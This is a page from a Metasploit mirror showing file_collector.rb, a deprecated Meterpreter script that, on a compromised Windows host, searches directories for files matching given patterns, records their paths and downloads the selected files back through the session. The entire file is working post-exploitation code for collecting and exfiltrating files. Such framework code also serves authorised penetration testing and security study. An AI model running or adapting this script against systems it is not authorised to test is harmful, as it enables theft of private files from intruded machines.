Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

file_collector.rb 2.7KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  7. #-------------------------------------------------------------------------------
  8. @client = client
  9. location = nil
  10. search_blob = []
  11. input_file = nil
  12. output_file = nil
  13. recurse = false
  14. logs = nil
  15. @opts = Rex::Parser::Arguments.new(
  16. "-h" => [false, "Help menu." ],
  17. "-i" => [true, "Input file with list of files to download, one per line."],
  18. "-d" => [true, "Directory to start search on, search will be recursive."],
  19. "-f" => [true, "Search blobs separated by a |."],
  20. "-o" => [true, "Output File to save the full path of files found."],
  21. "-r" => [false, "Search subdirectories."],
  22. "-l" => [true, "Location where to save the files."]
  23. )
  24. # Function for displaying help message
  25. def usage
  26. print_line "Meterpreter Script for searching and downloading files that"
  27. print_line "match a specific pattern. First save files to a file, edit and"
  28. print_line("use that same file to download the choosen files.")
  29. print_line(@opts.usage)
  30. raise Rex::Script::Completed
  31. end
  32. # Check that we are running under the right type of Meterpreter
  33. if client.platform == 'windows'
  34. # Parse the options
  35. if args.length > 0
  36. @opts.parse(args) { |opt, idx, val|
  37. case opt
  38. when "-h"
  39. usage
  40. when "-i"
  41. input_file = val
  42. when "-o"
  43. output_file = val
  44. when "-d"
  45. location = val
  46. when "-f"
  47. search_blob = val.split("|")
  48. when "-r"
  49. recurse = true
  50. when "-l"
  51. logs = val
  52. end
  53. }
  54. # Search for files and save their location if specified
  55. if search_blob.length > 0 and location
  56. search_blob.each do |s|
  57. print_status("Searching for #{s}")
  58. results = @client.fs.file.search(location,s,recurse)
  59. results.each do |file|
  60. print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
  61. file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
  62. end
  63. end
  64. end
  65. # Read log file and download those files found
  66. if input_file and logs
  67. if ::File.exist?(input_file)
  68. print_status("Reading file #{input_file}")
  69. print_status("Downloading to #{logs}")
  70. ::File.open(input_file, "r").each_line do |line|
  71. print_status("\tDownloading #{line.chomp}")
  72. @client.fs.file.download(logs, line.chomp)
  73. end
  74. else
  75. print_error("File #{input_file} does not exist!")
  76. end
  77. end
  78. else
  79. usage
  80. end
  81. else
  82. print_error("This version of Meterpreter is not supported with this Script!")
  83. raise Rex::Script::Completed
  84. end